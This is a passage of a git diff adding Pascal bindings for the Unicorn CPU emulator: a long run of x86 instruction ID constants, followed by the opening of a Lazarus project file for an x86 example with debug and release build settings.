UC_X86_INS_T1MSKC = 703; + UC_X86_INS_TEST = 704; + UC_X86_INS_UD2 = 705; + UC_X86_INS_FTST = 706; + UC_X86_INS_TZCNT = 707; + UC_X86_INS_TZMSK = 708; + UC_X86_INS_FUCOMPI = 709; + UC_X86_INS_FUCOMI = 710; + UC_X86_INS_FUCOMPP = 711; + UC_X86_INS_FUCOMP = 712; + UC_X86_INS_FUCOM = 713; + UC_X86_INS_UD2B = 714; + UC_X86_INS_UNPCKHPD = 715; + UC_X86_INS_UNPCKHPS = 716; + UC_X86_INS_UNPCKLPD = 717; + UC_X86_INS_UNPCKLPS = 718; + UC_X86_INS_VADDPD = 719; + UC_X86_INS_VADDPS = 720; + UC_X86_INS_VADDSD = 721; + UC_X86_INS_VADDSS = 722; + UC_X86_INS_VADDSUBPD = 723; + UC_X86_INS_VADDSUBPS = 724; + UC_X86_INS_VAESDECLAST = 725; + UC_X86_INS_VAESDEC = 726; + UC_X86_INS_VAESENCLAST = 727; + UC_X86_INS_VAESENC = 728; + UC_X86_INS_VAESIMC = 729; + UC_X86_INS_VAESKEYGENASSIST = 730; + UC_X86_INS_VALIGND = 731; + UC_X86_INS_VALIGNQ = 732; + UC_X86_INS_VANDNPD = 733; + UC_X86_INS_VANDNPS = 734; + UC_X86_INS_VANDPD = 735; + UC_X86_INS_VANDPS = 736; + UC_X86_INS_VBLENDMPD = 737; + UC_X86_INS_VBLENDMPS = 738; + UC_X86_INS_VBLENDPD = 739; + UC_X86_INS_VBLENDPS = 740; + UC_X86_INS_VBLENDVPD = 741; + UC_X86_INS_VBLENDVPS = 742; + UC_X86_INS_VBROADCASTF128 = 743; + UC_X86_INS_VBROADCASTI32X4 = 744; + UC_X86_INS_VBROADCASTI64X4 = 745; + UC_X86_INS_VBROADCASTSD = 746; + UC_X86_INS_VBROADCASTSS = 747; + UC_X86_INS_VCMPPD = 748; + UC_X86_INS_VCMPPS = 749; + UC_X86_INS_VCMPSD = 750; + UC_X86_INS_VCMPSS = 751; + UC_X86_INS_VCOMPRESSPD = 752; + UC_X86_INS_VCOMPRESSPS = 753; + UC_X86_INS_VCVTDQ2PD = 754; + UC_X86_INS_VCVTDQ2PS = 755; + UC_X86_INS_VCVTPD2DQX = 756; + UC_X86_INS_VCVTPD2DQ = 757; + UC_X86_INS_VCVTPD2PSX = 758; + UC_X86_INS_VCVTPD2PS = 759; + UC_X86_INS_VCVTPD2UDQ = 760; + UC_X86_INS_VCVTPH2PS = 761; + UC_X86_INS_VCVTPS2DQ = 762; + UC_X86_INS_VCVTPS2PD = 763; + UC_X86_INS_VCVTPS2PH = 764; + UC_X86_INS_VCVTPS2UDQ = 765; + UC_X86_INS_VCVTSD2SI = 766; + UC_X86_INS_VCVTSD2USI = 767; + UC_X86_INS_VCVTSS2SI = 768; + UC_X86_INS_VCVTSS2USI = 769; + UC_X86_INS_VCVTTPD2DQX = 770; + UC_X86_INS_VCVTTPD2DQ = 771; + UC_X86_INS_VCVTTPD2UDQ = 772; + UC_X86_INS_VCVTTPS2DQ = 773; + UC_X86_INS_VCVTTPS2UDQ = 774; + UC_X86_INS_VCVTUDQ2PD = 775; + UC_X86_INS_VCVTUDQ2PS = 776; + UC_X86_INS_VDIVPD = 777; + UC_X86_INS_VDIVPS = 778; + UC_X86_INS_VDIVSD = 779; + UC_X86_INS_VDIVSS = 780; + UC_X86_INS_VDPPD = 781; + UC_X86_INS_VDPPS = 782; + UC_X86_INS_VERR = 783; + UC_X86_INS_VERW = 784; + UC_X86_INS_VEXP2PD = 785; + UC_X86_INS_VEXP2PS = 786; + UC_X86_INS_VEXPANDPD = 787; + UC_X86_INS_VEXPANDPS = 788; + UC_X86_INS_VEXTRACTF128 = 789; + UC_X86_INS_VEXTRACTF32X4 = 790; + UC_X86_INS_VEXTRACTF64X4 = 791; + UC_X86_INS_VEXTRACTI128 = 792; + UC_X86_INS_VEXTRACTI32X4 = 793; + UC_X86_INS_VEXTRACTI64X4 = 794; + UC_X86_INS_VEXTRACTPS = 795; + UC_X86_INS_VFMADD132PD = 796; + UC_X86_INS_VFMADD132PS = 797; + UC_X86_INS_VFMADDPD = 798; + UC_X86_INS_VFMADD213PD = 799; + UC_X86_INS_VFMADD231PD = 800; + UC_X86_INS_VFMADDPS = 801; + UC_X86_INS_VFMADD213PS = 802; + UC_X86_INS_VFMADD231PS = 803; + UC_X86_INS_VFMADDSD = 804; + UC_X86_INS_VFMADD213SD = 805; + UC_X86_INS_VFMADD132SD = 806; + UC_X86_INS_VFMADD231SD = 807; + UC_X86_INS_VFMADDSS = 808; + UC_X86_INS_VFMADD213SS = 809; + UC_X86_INS_VFMADD132SS = 810; + UC_X86_INS_VFMADD231SS = 811; + UC_X86_INS_VFMADDSUB132PD = 812; + UC_X86_INS_VFMADDSUB132PS = 813; + UC_X86_INS_VFMADDSUBPD = 814; + UC_X86_INS_VFMADDSUB213PD = 815; + UC_X86_INS_VFMADDSUB231PD = 816; + UC_X86_INS_VFMADDSUBPS = 817; + UC_X86_INS_VFMADDSUB213PS = 818; + UC_X86_INS_VFMADDSUB231PS = 819; + UC_X86_INS_VFMSUB132PD = 820; + UC_X86_INS_VFMSUB132PS = 821; + UC_X86_INS_VFMSUBADD132PD = 822; + UC_X86_INS_VFMSUBADD132PS = 823; + UC_X86_INS_VFMSUBADDPD = 824; + UC_X86_INS_VFMSUBADD213PD = 825; + UC_X86_INS_VFMSUBADD231PD = 826; + UC_X86_INS_VFMSUBADDPS = 827; + UC_X86_INS_VFMSUBADD213PS = 828; + UC_X86_INS_VFMSUBADD231PS = 829; + UC_X86_INS_VFMSUBPD = 830; + UC_X86_INS_VFMSUB213PD = 831; + UC_X86_INS_VFMSUB231PD = 832; + UC_X86_INS_VFMSUBPS = 833; + UC_X86_INS_VFMSUB213PS = 834; + UC_X86_INS_VFMSUB231PS = 835; + UC_X86_INS_VFMSUBSD = 836; + UC_X86_INS_VFMSUB213SD = 837; + UC_X86_INS_VFMSUB132SD = 838; + UC_X86_INS_VFMSUB231SD = 839; + UC_X86_INS_VFMSUBSS = 840; + UC_X86_INS_VFMSUB213SS = 841; + UC_X86_INS_VFMSUB132SS = 842; + UC_X86_INS_VFMSUB231SS = 843; + UC_X86_INS_VFNMADD132PD = 844; + UC_X86_INS_VFNMADD132PS = 845; + UC_X86_INS_VFNMADDPD = 846; + UC_X86_INS_VFNMADD213PD = 847; + UC_X86_INS_VFNMADD231PD = 848; + UC_X86_INS_VFNMADDPS = 849; + UC_X86_INS_VFNMADD213PS = 850; + UC_X86_INS_VFNMADD231PS = 851; + UC_X86_INS_VFNMADDSD = 852; + UC_X86_INS_VFNMADD213SD = 853; + UC_X86_INS_VFNMADD132SD = 854; + UC_X86_INS_VFNMADD231SD = 855; + UC_X86_INS_VFNMADDSS = 856; + UC_X86_INS_VFNMADD213SS = 857; + UC_X86_INS_VFNMADD132SS = 858; + UC_X86_INS_VFNMADD231SS = 859; + UC_X86_INS_VFNMSUB132PD = 860; + UC_X86_INS_VFNMSUB132PS = 861; + UC_X86_INS_VFNMSUBPD = 862; + UC_X86_INS_VFNMSUB213PD = 863; + UC_X86_INS_VFNMSUB231PD = 864; + UC_X86_INS_VFNMSUBPS = 865; + UC_X86_INS_VFNMSUB213PS = 866; + UC_X86_INS_VFNMSUB231PS = 867; + UC_X86_INS_VFNMSUBSD = 868; + UC_X86_INS_VFNMSUB213SD = 869; + UC_X86_INS_VFNMSUB132SD = 870; + UC_X86_INS_VFNMSUB231SD = 871; + UC_X86_INS_VFNMSUBSS = 872; + UC_X86_INS_VFNMSUB213SS = 873; + UC_X86_INS_VFNMSUB132SS = 874; + UC_X86_INS_VFNMSUB231SS = 875; + UC_X86_INS_VFRCZPD = 876; + UC_X86_INS_VFRCZPS = 877; + UC_X86_INS_VFRCZSD = 878; + UC_X86_INS_VFRCZSS = 879; + UC_X86_INS_VORPD = 880; + UC_X86_INS_VORPS = 881; + UC_X86_INS_VXORPD = 882; + UC_X86_INS_VXORPS = 883; + UC_X86_INS_VGATHERDPD = 884; + UC_X86_INS_VGATHERDPS = 885; + UC_X86_INS_VGATHERPF0DPD = 886; + UC_X86_INS_VGATHERPF0DPS = 887; + UC_X86_INS_VGATHERPF0QPD = 888; + UC_X86_INS_VGATHERPF0QPS = 889; + UC_X86_INS_VGATHERPF1DPD = 890; + UC_X86_INS_VGATHERPF1DPS = 891; + UC_X86_INS_VGATHERPF1QPD = 892; + UC_X86_INS_VGATHERPF1QPS = 893; + UC_X86_INS_VGATHERQPD = 894; + UC_X86_INS_VGATHERQPS = 895; + UC_X86_INS_VHADDPD = 896; + UC_X86_INS_VHADDPS = 897; + UC_X86_INS_VHSUBPD = 898; + UC_X86_INS_VHSUBPS = 899; + UC_X86_INS_VINSERTF128 = 900; + UC_X86_INS_VINSERTF32X4 = 901; + UC_X86_INS_VINSERTF32X8 = 902; + UC_X86_INS_VINSERTF64X2 = 903; + UC_X86_INS_VINSERTF64X4 = 904; + UC_X86_INS_VINSERTI128 = 905; + UC_X86_INS_VINSERTI32X4 = 906; + UC_X86_INS_VINSERTI32X8 = 907; + UC_X86_INS_VINSERTI64X2 = 908; + UC_X86_INS_VINSERTI64X4 = 909; + UC_X86_INS_VINSERTPS = 910; + UC_X86_INS_VLDDQU = 911; + UC_X86_INS_VLDMXCSR = 912; + UC_X86_INS_VMASKMOVDQU = 913; + UC_X86_INS_VMASKMOVPD = 914; + UC_X86_INS_VMASKMOVPS = 915; + UC_X86_INS_VMAXPD = 916; + UC_X86_INS_VMAXPS = 917; + UC_X86_INS_VMAXSD = 918; + UC_X86_INS_VMAXSS = 919; + UC_X86_INS_VMCALL = 920; + UC_X86_INS_VMCLEAR = 921; + UC_X86_INS_VMFUNC = 922; + UC_X86_INS_VMINPD = 923; + UC_X86_INS_VMINPS = 924; + UC_X86_INS_VMINSD = 925; + UC_X86_INS_VMINSS = 926; + UC_X86_INS_VMLAUNCH = 927; + UC_X86_INS_VMLOAD = 928; + UC_X86_INS_VMMCALL = 929; + UC_X86_INS_VMOVQ = 930; + UC_X86_INS_VMOVDDUP = 931; + UC_X86_INS_VMOVD = 932; + UC_X86_INS_VMOVDQA32 = 933; + UC_X86_INS_VMOVDQA64 = 934; + UC_X86_INS_VMOVDQA = 935; + UC_X86_INS_VMOVDQU16 = 936; + UC_X86_INS_VMOVDQU32 = 937; + UC_X86_INS_VMOVDQU64 = 938; + UC_X86_INS_VMOVDQU8 = 939; + UC_X86_INS_VMOVDQU = 940; + UC_X86_INS_VMOVHLPS = 941; + UC_X86_INS_VMOVHPD = 942; + UC_X86_INS_VMOVHPS = 943; + UC_X86_INS_VMOVLHPS = 944; + UC_X86_INS_VMOVLPD = 945; + UC_X86_INS_VMOVLPS = 946; + UC_X86_INS_VMOVMSKPD = 947; + UC_X86_INS_VMOVMSKPS = 948; + UC_X86_INS_VMOVNTDQA = 949; + UC_X86_INS_VMOVNTDQ = 950; + UC_X86_INS_VMOVNTPD = 951; + UC_X86_INS_VMOVNTPS = 952; + UC_X86_INS_VMOVSD = 953; + UC_X86_INS_VMOVSHDUP = 954; + UC_X86_INS_VMOVSLDUP = 955; + UC_X86_INS_VMOVSS = 956; + UC_X86_INS_VMOVUPD = 957; + UC_X86_INS_VMOVUPS = 958; + UC_X86_INS_VMPSADBW = 959; + UC_X86_INS_VMPTRLD = 960; + UC_X86_INS_VMPTRST = 961; + UC_X86_INS_VMREAD = 962; + UC_X86_INS_VMRESUME = 963; + UC_X86_INS_VMRUN = 964; + UC_X86_INS_VMSAVE = 965; + UC_X86_INS_VMULPD = 966; + UC_X86_INS_VMULPS = 967; + UC_X86_INS_VMULSD = 968; + UC_X86_INS_VMULSS = 969; + UC_X86_INS_VMWRITE = 970; + UC_X86_INS_VMXOFF = 971; + UC_X86_INS_VMXON = 972; + UC_X86_INS_VPABSB = 973; + UC_X86_INS_VPABSD = 974; + UC_X86_INS_VPABSQ = 975; + UC_X86_INS_VPABSW = 976; + UC_X86_INS_VPACKSSDW = 977; + UC_X86_INS_VPACKSSWB = 978; + UC_X86_INS_VPACKUSDW = 979; + UC_X86_INS_VPACKUSWB = 980; + UC_X86_INS_VPADDB = 981; + UC_X86_INS_VPADDD = 982; + UC_X86_INS_VPADDQ = 983; + UC_X86_INS_VPADDSB = 984; + UC_X86_INS_VPADDSW = 985; + UC_X86_INS_VPADDUSB = 986; + UC_X86_INS_VPADDUSW = 987; + UC_X86_INS_VPADDW = 988; + UC_X86_INS_VPALIGNR = 989; + UC_X86_INS_VPANDD = 990; + UC_X86_INS_VPANDND = 991; + UC_X86_INS_VPANDNQ = 992; + UC_X86_INS_VPANDN = 993; + UC_X86_INS_VPANDQ = 994; + UC_X86_INS_VPAND = 995; + UC_X86_INS_VPAVGB = 996; + UC_X86_INS_VPAVGW = 997; + UC_X86_INS_VPBLENDD = 998; + UC_X86_INS_VPBLENDMB = 999; + UC_X86_INS_VPBLENDMD = 1000; + UC_X86_INS_VPBLENDMQ = 1001; + UC_X86_INS_VPBLENDMW = 1002; + UC_X86_INS_VPBLENDVB = 1003; + UC_X86_INS_VPBLENDW = 1004; + UC_X86_INS_VPBROADCASTB = 1005; + UC_X86_INS_VPBROADCASTD = 1006; + UC_X86_INS_VPBROADCASTMB2Q = 1007; + UC_X86_INS_VPBROADCASTMW2D = 1008; + UC_X86_INS_VPBROADCASTQ = 1009; + UC_X86_INS_VPBROADCASTW = 1010; + UC_X86_INS_VPCLMULQDQ = 1011; + UC_X86_INS_VPCMOV = 1012; + UC_X86_INS_VPCMPB = 1013; + UC_X86_INS_VPCMPD = 1014; + UC_X86_INS_VPCMPEQB = 1015; + UC_X86_INS_VPCMPEQD = 1016; + UC_X86_INS_VPCMPEQQ = 1017; + UC_X86_INS_VPCMPEQW = 1018; + UC_X86_INS_VPCMPESTRI = 1019; + UC_X86_INS_VPCMPESTRM = 1020; + UC_X86_INS_VPCMPGTB = 1021; + UC_X86_INS_VPCMPGTD = 1022; + UC_X86_INS_VPCMPGTQ = 1023; + UC_X86_INS_VPCMPGTW = 1024; + UC_X86_INS_VPCMPISTRI = 1025; + UC_X86_INS_VPCMPISTRM = 1026; + UC_X86_INS_VPCMPQ = 1027; + UC_X86_INS_VPCMPUB = 1028; + UC_X86_INS_VPCMPUD = 1029; + UC_X86_INS_VPCMPUQ = 1030; + UC_X86_INS_VPCMPUW = 1031; + UC_X86_INS_VPCMPW = 1032; + UC_X86_INS_VPCOMB = 1033; + UC_X86_INS_VPCOMD = 1034; + UC_X86_INS_VPCOMPRESSD = 1035; + UC_X86_INS_VPCOMPRESSQ = 1036; + UC_X86_INS_VPCOMQ = 1037; + UC_X86_INS_VPCOMUB = 1038; + UC_X86_INS_VPCOMUD = 1039; + UC_X86_INS_VPCOMUQ = 1040; + UC_X86_INS_VPCOMUW = 1041; + UC_X86_INS_VPCOMW = 1042; + UC_X86_INS_VPCONFLICTD = 1043; + UC_X86_INS_VPCONFLICTQ = 1044; + UC_X86_INS_VPERM2F128 = 1045; + UC_X86_INS_VPERM2I128 = 1046; + UC_X86_INS_VPERMD = 1047; + UC_X86_INS_VPERMI2D = 1048; + UC_X86_INS_VPERMI2PD = 1049; + UC_X86_INS_VPERMI2PS = 1050; + UC_X86_INS_VPERMI2Q = 1051; + UC_X86_INS_VPERMIL2PD = 1052; + UC_X86_INS_VPERMIL2PS = 1053; + UC_X86_INS_VPERMILPD = 1054; + UC_X86_INS_VPERMILPS = 1055; + UC_X86_INS_VPERMPD = 1056; + UC_X86_INS_VPERMPS = 1057; + UC_X86_INS_VPERMQ = 1058; + UC_X86_INS_VPERMT2D = 1059; + UC_X86_INS_VPERMT2PD = 1060; + UC_X86_INS_VPERMT2PS = 1061; + UC_X86_INS_VPERMT2Q = 1062; + UC_X86_INS_VPEXPANDD = 1063; + UC_X86_INS_VPEXPANDQ = 1064; + UC_X86_INS_VPEXTRB = 1065; + UC_X86_INS_VPEXTRD = 1066; + UC_X86_INS_VPEXTRQ = 1067; + UC_X86_INS_VPEXTRW = 1068; + UC_X86_INS_VPGATHERDD = 1069; + UC_X86_INS_VPGATHERDQ = 1070; + UC_X86_INS_VPGATHERQD = 1071; + UC_X86_INS_VPGATHERQQ = 1072; + UC_X86_INS_VPHADDBD = 1073; + UC_X86_INS_VPHADDBQ = 1074; + UC_X86_INS_VPHADDBW = 1075; + UC_X86_INS_VPHADDDQ = 1076; + UC_X86_INS_VPHADDD = 1077; + UC_X86_INS_VPHADDSW = 1078; + UC_X86_INS_VPHADDUBD = 1079; + UC_X86_INS_VPHADDUBQ = 1080; + UC_X86_INS_VPHADDUBW = 1081; + UC_X86_INS_VPHADDUDQ = 1082; + UC_X86_INS_VPHADDUWD = 1083; + UC_X86_INS_VPHADDUWQ = 1084; + UC_X86_INS_VPHADDWD = 1085; + UC_X86_INS_VPHADDWQ = 1086; + UC_X86_INS_VPHADDW = 1087; + UC_X86_INS_VPHMINPOSUW = 1088; + UC_X86_INS_VPHSUBBW = 1089; + UC_X86_INS_VPHSUBDQ = 1090; + UC_X86_INS_VPHSUBD = 1091; + UC_X86_INS_VPHSUBSW = 1092; + UC_X86_INS_VPHSUBWD = 1093; + UC_X86_INS_VPHSUBW = 1094; + UC_X86_INS_VPINSRB = 1095; + UC_X86_INS_VPINSRD = 1096; + UC_X86_INS_VPINSRQ = 1097; + UC_X86_INS_VPINSRW = 1098; + UC_X86_INS_VPLZCNTD = 1099; + UC_X86_INS_VPLZCNTQ = 1100; + UC_X86_INS_VPMACSDD = 1101; + UC_X86_INS_VPMACSDQH = 1102; + UC_X86_INS_VPMACSDQL = 1103; + UC_X86_INS_VPMACSSDD = 1104; + UC_X86_INS_VPMACSSDQH = 1105; + UC_X86_INS_VPMACSSDQL = 1106; + UC_X86_INS_VPMACSSWD = 1107; + UC_X86_INS_VPMACSSWW = 1108; + UC_X86_INS_VPMACSWD = 1109; + UC_X86_INS_VPMACSWW = 1110; + UC_X86_INS_VPMADCSSWD = 1111; + UC_X86_INS_VPMADCSWD = 1112; + UC_X86_INS_VPMADDUBSW = 1113; + UC_X86_INS_VPMADDWD = 1114; + UC_X86_INS_VPMASKMOVD = 1115; + UC_X86_INS_VPMASKMOVQ = 1116; + UC_X86_INS_VPMAXSB = 1117; + UC_X86_INS_VPMAXSD = 1118; + UC_X86_INS_VPMAXSQ = 1119; + UC_X86_INS_VPMAXSW = 1120; + UC_X86_INS_VPMAXUB = 1121; + UC_X86_INS_VPMAXUD = 1122; + UC_X86_INS_VPMAXUQ = 1123; + UC_X86_INS_VPMAXUW = 1124; + UC_X86_INS_VPMINSB = 1125; + UC_X86_INS_VPMINSD = 1126; + UC_X86_INS_VPMINSQ = 1127; + UC_X86_INS_VPMINSW = 1128; + UC_X86_INS_VPMINUB = 1129; + UC_X86_INS_VPMINUD = 1130; + UC_X86_INS_VPMINUQ = 1131; + UC_X86_INS_VPMINUW = 1132; + UC_X86_INS_VPMOVDB = 1133; + UC_X86_INS_VPMOVDW = 1134; + UC_X86_INS_VPMOVM2B = 1135; + UC_X86_INS_VPMOVM2D = 1136; + UC_X86_INS_VPMOVM2Q = 1137; + UC_X86_INS_VPMOVM2W = 1138; + UC_X86_INS_VPMOVMSKB = 1139; + UC_X86_INS_VPMOVQB = 1140; + UC_X86_INS_VPMOVQD = 1141; + UC_X86_INS_VPMOVQW = 1142; + UC_X86_INS_VPMOVSDB = 1143; + UC_X86_INS_VPMOVSDW = 1144; + UC_X86_INS_VPMOVSQB = 1145; + UC_X86_INS_VPMOVSQD = 1146; + UC_X86_INS_VPMOVSQW = 1147; + UC_X86_INS_VPMOVSXBD = 1148; + UC_X86_INS_VPMOVSXBQ = 1149; + UC_X86_INS_VPMOVSXBW = 1150; + UC_X86_INS_VPMOVSXDQ = 1151; + UC_X86_INS_VPMOVSXWD = 1152; + UC_X86_INS_VPMOVSXWQ = 1153; + UC_X86_INS_VPMOVUSDB = 1154; + UC_X86_INS_VPMOVUSDW = 1155; + UC_X86_INS_VPMOVUSQB = 1156; + UC_X86_INS_VPMOVUSQD = 1157; + UC_X86_INS_VPMOVUSQW = 1158; + UC_X86_INS_VPMOVZXBD = 1159; + UC_X86_INS_VPMOVZXBQ = 1160; + UC_X86_INS_VPMOVZXBW = 1161; + UC_X86_INS_VPMOVZXDQ = 1162; + UC_X86_INS_VPMOVZXWD = 1163; + UC_X86_INS_VPMOVZXWQ = 1164; + UC_X86_INS_VPMULDQ = 1165; + UC_X86_INS_VPMULHRSW = 1166; + UC_X86_INS_VPMULHUW = 1167; + UC_X86_INS_VPMULHW = 1168; + UC_X86_INS_VPMULLD = 1169; + UC_X86_INS_VPMULLQ = 1170; + UC_X86_INS_VPMULLW = 1171; + UC_X86_INS_VPMULUDQ = 1172; + UC_X86_INS_VPORD = 1173; + UC_X86_INS_VPORQ = 1174; + UC_X86_INS_VPOR = 1175; + UC_X86_INS_VPPERM = 1176; + UC_X86_INS_VPROTB = 1177; + UC_X86_INS_VPROTD = 1178; + UC_X86_INS_VPROTQ = 1179; + UC_X86_INS_VPROTW = 1180; + UC_X86_INS_VPSADBW = 1181; + UC_X86_INS_VPSCATTERDD = 1182; + UC_X86_INS_VPSCATTERDQ = 1183; + UC_X86_INS_VPSCATTERQD = 1184; + UC_X86_INS_VPSCATTERQQ = 1185; + UC_X86_INS_VPSHAB = 1186; + UC_X86_INS_VPSHAD = 1187; + UC_X86_INS_VPSHAQ = 1188; + UC_X86_INS_VPSHAW = 1189; + UC_X86_INS_VPSHLB = 1190; + UC_X86_INS_VPSHLD = 1191; + UC_X86_INS_VPSHLQ = 1192; + UC_X86_INS_VPSHLW = 1193; + UC_X86_INS_VPSHUFB = 1194; + UC_X86_INS_VPSHUFD = 1195; + UC_X86_INS_VPSHUFHW = 1196; + UC_X86_INS_VPSHUFLW = 1197; + UC_X86_INS_VPSIGNB = 1198; + UC_X86_INS_VPSIGND = 1199; + UC_X86_INS_VPSIGNW = 1200; + UC_X86_INS_VPSLLDQ = 1201; + UC_X86_INS_VPSLLD = 1202; + UC_X86_INS_VPSLLQ = 1203; + UC_X86_INS_VPSLLVD = 1204; + UC_X86_INS_VPSLLVQ = 1205; + UC_X86_INS_VPSLLW = 1206; + UC_X86_INS_VPSRAD = 1207; + UC_X86_INS_VPSRAQ = 1208; + UC_X86_INS_VPSRAVD = 1209; + UC_X86_INS_VPSRAVQ = 1210; + UC_X86_INS_VPSRAW = 1211; + UC_X86_INS_VPSRLDQ = 1212; + UC_X86_INS_VPSRLD = 1213; + UC_X86_INS_VPSRLQ = 1214; + UC_X86_INS_VPSRLVD = 1215; + UC_X86_INS_VPSRLVQ = 1216; + UC_X86_INS_VPSRLW = 1217; + UC_X86_INS_VPSUBB = 1218; + UC_X86_INS_VPSUBD = 1219; + UC_X86_INS_VPSUBQ = 1220; + UC_X86_INS_VPSUBSB = 1221; + UC_X86_INS_VPSUBSW = 1222; + UC_X86_INS_VPSUBUSB = 1223; + UC_X86_INS_VPSUBUSW = 1224; + UC_X86_INS_VPSUBW = 1225; + UC_X86_INS_VPTESTMD = 1226; + UC_X86_INS_VPTESTMQ = 1227; + UC_X86_INS_VPTESTNMD = 1228; + UC_X86_INS_VPTESTNMQ = 1229; + UC_X86_INS_VPTEST = 1230; + UC_X86_INS_VPUNPCKHBW = 1231; + UC_X86_INS_VPUNPCKHDQ = 1232; + UC_X86_INS_VPUNPCKHQDQ = 1233; + UC_X86_INS_VPUNPCKHWD = 1234; + UC_X86_INS_VPUNPCKLBW = 1235; + UC_X86_INS_VPUNPCKLDQ = 1236; + UC_X86_INS_VPUNPCKLQDQ = 1237; + UC_X86_INS_VPUNPCKLWD = 1238; + UC_X86_INS_VPXORD = 1239; + UC_X86_INS_VPXORQ = 1240; + UC_X86_INS_VPXOR = 1241; + UC_X86_INS_VRCP14PD = 1242; + UC_X86_INS_VRCP14PS = 1243; + UC_X86_INS_VRCP14SD = 1244; + UC_X86_INS_VRCP14SS = 1245; + UC_X86_INS_VRCP28PD = 1246; + UC_X86_INS_VRCP28PS = 1247; + UC_X86_INS_VRCP28SD = 1248; + UC_X86_INS_VRCP28SS = 1249; + UC_X86_INS_VRCPPS = 1250; + UC_X86_INS_VRCPSS = 1251; + UC_X86_INS_VRNDSCALEPD = 1252; + UC_X86_INS_VRNDSCALEPS = 1253; + UC_X86_INS_VRNDSCALESD = 1254; + UC_X86_INS_VRNDSCALESS = 1255; + UC_X86_INS_VROUNDPD = 1256; + UC_X86_INS_VROUNDPS = 1257; + UC_X86_INS_VROUNDSD = 1258; + UC_X86_INS_VROUNDSS = 1259; + UC_X86_INS_VRSQRT14PD = 1260; + UC_X86_INS_VRSQRT14PS = 1261; + UC_X86_INS_VRSQRT14SD = 1262; + UC_X86_INS_VRSQRT14SS = 1263; + UC_X86_INS_VRSQRT28PD = 1264; + UC_X86_INS_VRSQRT28PS = 1265; + UC_X86_INS_VRSQRT28SD = 1266; + UC_X86_INS_VRSQRT28SS = 1267; + UC_X86_INS_VRSQRTPS = 1268; + UC_X86_INS_VRSQRTSS = 1269; + UC_X86_INS_VSCATTERDPD = 1270; + UC_X86_INS_VSCATTERDPS = 1271; + UC_X86_INS_VSCATTERPF0DPD = 1272; + UC_X86_INS_VSCATTERPF0DPS = 1273; + UC_X86_INS_VSCATTERPF0QPD = 1274; + UC_X86_INS_VSCATTERPF0QPS = 1275; + UC_X86_INS_VSCATTERPF1DPD = 1276; + UC_X86_INS_VSCATTERPF1DPS = 1277; + UC_X86_INS_VSCATTERPF1QPD = 1278; + UC_X86_INS_VSCATTERPF1QPS = 1279; + UC_X86_INS_VSCATTERQPD = 1280; + UC_X86_INS_VSCATTERQPS = 1281; + UC_X86_INS_VSHUFPD = 1282; + UC_X86_INS_VSHUFPS = 1283; + UC_X86_INS_VSQRTPD = 1284; + UC_X86_INS_VSQRTPS = 1285; + UC_X86_INS_VSQRTSD = 1286; + UC_X86_INS_VSQRTSS = 1287; + UC_X86_INS_VSTMXCSR = 1288; + UC_X86_INS_VSUBPD = 1289; + UC_X86_INS_VSUBPS = 1290; + UC_X86_INS_VSUBSD = 1291; + UC_X86_INS_VSUBSS = 1292; + UC_X86_INS_VTESTPD = 1293; + UC_X86_INS_VTESTPS = 1294; + UC_X86_INS_VUNPCKHPD = 1295; + UC_X86_INS_VUNPCKHPS = 1296; + UC_X86_INS_VUNPCKLPD = 1297; + UC_X86_INS_VUNPCKLPS = 1298; + UC_X86_INS_VZEROALL = 1299; + UC_X86_INS_VZEROUPPER = 1300; + UC_X86_INS_WAIT = 1301; + UC_X86_INS_WBINVD = 1302; + UC_X86_INS_WRFSBASE = 1303; + UC_X86_INS_WRGSBASE = 1304; + UC_X86_INS_WRMSR = 1305; + UC_X86_INS_XABORT = 1306; + UC_X86_INS_XACQUIRE = 1307; + UC_X86_INS_XBEGIN = 1308; + UC_X86_INS_XCHG = 1309; + UC_X86_INS_XCRYPTCBC = 1310; + UC_X86_INS_XCRYPTCFB = 1311; + UC_X86_INS_XCRYPTCTR = 1312; + UC_X86_INS_XCRYPTECB = 1313; + UC_X86_INS_XCRYPTOFB = 1314; + UC_X86_INS_XEND = 1315; + UC_X86_INS_XGETBV = 1316; + UC_X86_INS_XLATB = 1317; + UC_X86_INS_XRELEASE = 1318; + UC_X86_INS_XRSTOR = 1319; + UC_X86_INS_XRSTOR64 = 1320; + UC_X86_INS_XRSTORS = 1321; + UC_X86_INS_XRSTORS64 = 1322; + UC_X86_INS_XSAVE = 1323; + UC_X86_INS_XSAVE64 = 1324; + UC_X86_INS_XSAVEC = 1325; + UC_X86_INS_XSAVEC64 = 1326; + UC_X86_INS_XSAVEOPT = 1327; + UC_X86_INS_XSAVEOPT64 = 1328; + UC_X86_INS_XSAVES = 1329; + UC_X86_INS_XSAVES64 = 1330; + UC_X86_INS_XSETBV = 1331; + UC_X86_INS_XSHA1 = 1332; + UC_X86_INS_XSHA256 = 1333; + UC_X86_INS_XSTORE = 1334; + UC_X86_INS_XTEST = 1335; + UC_X86_INS_FDISI8087_NOP = 1336; + UC_X86_INS_FENI8087_NOP = 1337; + UC_X86_INS_ENDING = 1338; + +implementation +end. \ No newline at end of file diff --git a/Core/unicorn/examples/x86.lpi b/Core/unicorn/examples/x86.lpi new file mode 100644 index 0000000..b9a3fa9 --- /dev/null +++ b/Core/unicorn/examples/x86.lpi @@ -0,0 +1,108 @@ +<?xml version="1.0" encoding="UTF-8"?> +<CONFIG> + <ProjectOptions> + <Version Value="10"/> + <General> + <Flags> + <MainUnitHasCreateFormStatements Value="False"/> + <MainUnitHasTitleStatement Value="False"/> + <MainUnitHasScaledStatement Value="False"/> + </Flags> + <SessionStorage Value="InProjectDir"/> + <MainUnit Value="0"/> + <Title Value="x86"/> + <UseAppBundle Value="False"/> + <ResourceType Value="res"/> + </General> + <VersionInfo> + <StringTable ProductVersion=""/> + </VersionInfo> + <BuildModes Count="3"> + <Item1 Name="Default" Default="True"/> + <Item2 Name="Debug"> + <CompilerOptions> + <Version Value="11"/> + <Target> + <Filename Value="x86"/> + </Target> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <OtherUnitFiles Value="../unicorn"/> + <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + <Linking> + <Debugging> + <UseHeaptrc Value="True"/> + <TrashVariables Value="True"/> + <UseExternalDbgSyms Value="True"/> + </Debugging> + </Linking> + </CompilerOptions> + </Item2> + <Item3 Name="Release"> + <CompilerOptions> + <Version Value="11"/> + <Target> + <Filename Value="x86"/> + </Target> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <OtherUnitFiles Value="../unicorn"/> + <UnitOutputDirectory 